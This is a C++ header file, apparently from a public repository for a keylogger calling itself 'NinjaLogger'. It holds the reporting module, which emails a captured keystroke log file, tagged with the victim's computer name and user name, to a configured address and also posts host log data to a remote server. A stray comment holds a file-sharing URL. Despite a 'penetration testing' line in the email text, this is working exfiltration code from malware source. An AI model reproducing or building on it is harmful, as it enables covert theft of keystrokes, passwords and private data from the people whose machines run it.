-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathReportLog.h
76 lines (56 loc) · 2.2 KB
/
ReportLog.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#ifndef REPORTLOG_H
#define REPORTLOG_H
#include <iostream>
#include <fstream>
#include "windows.h"
#include "Timer.h"
#include "SendMail.h"
#include "Helper.h"
#include "HTTPPost.h"
#include "config.h"
void SendLogMail();
//Mail::MailInstance MailHandlerReport;
void SendLogMail()
{
//attempt to send email every 2 minutes, normally 12 hours? or 2 hours, etc
//check if anything was recorded in the keylog string, else no point to do anything
if(CONFIG_DICT["EMAIL_ENABLED"] == "FALSE") return;
std::string last_file1 = IO::GetOurPath(true) + "AppLog.txt"; //write to log
if(last_file1.empty())
{
//implement encryption myself
//write it to the debug log - file creation was not successful
Helper::WriteAppLog("AppLog Not Found.'");
return;
}
Helper::DateTime currentDT = Helper::DateTime();
int x = Mail::SendMail("Log [System Report: Program Start] - " + currentDT.GetDateTimeString(),
"[From Computer: " + Helper::ToString(getenv("COMPUTERNAME")) + " || User: " + Helper::ToString(getenv("USERNAME")) + "] \n\nHi :) \nThe File has been attached to this mail :) \nFor Penetration Testing Purposes.\n\nYours truly, NinjaLogger",
last_file1);
if(x != 7) //mail sending has failed (7 is the success code)
{
Helper::WriteAppLog("Mail was not sent! Error Code: " + Helper::ToString(x));
} else
{
Helper::WriteAppLog("Log Mail Successfully sent!");
}
}
void SendPostStart(){
if(CONFIG_DICT["SERVER_ENABLED"] == "FALSE") return;
Helper::DateTime currentDT = Helper::DateTime();
int x = HTTPPost::SendHostLog();
if(x != 201) //mail sending has failed (7 is the success code)
{
Helper::WriteAppLog("POST was not sent! Error Code: " + Helper::ToString(x));
} else {
//flush keyloghttps://1fichier.com/?isdnm6pu2o
Helper::WriteAppLog("POST START Successfully sent!");
}
}
void StartSendLogMail()
{
/*Helper::WriteAppLog(Helper::ToString("Timer for Sending Log Mail Started..."));
Timer LogMailTimer(SendLogMail, 10000, 1, "Log Mail Timer"); //send 30 seconds in to load
LogMailTimer.Start();*/
}
#endif // REPORTLOG_H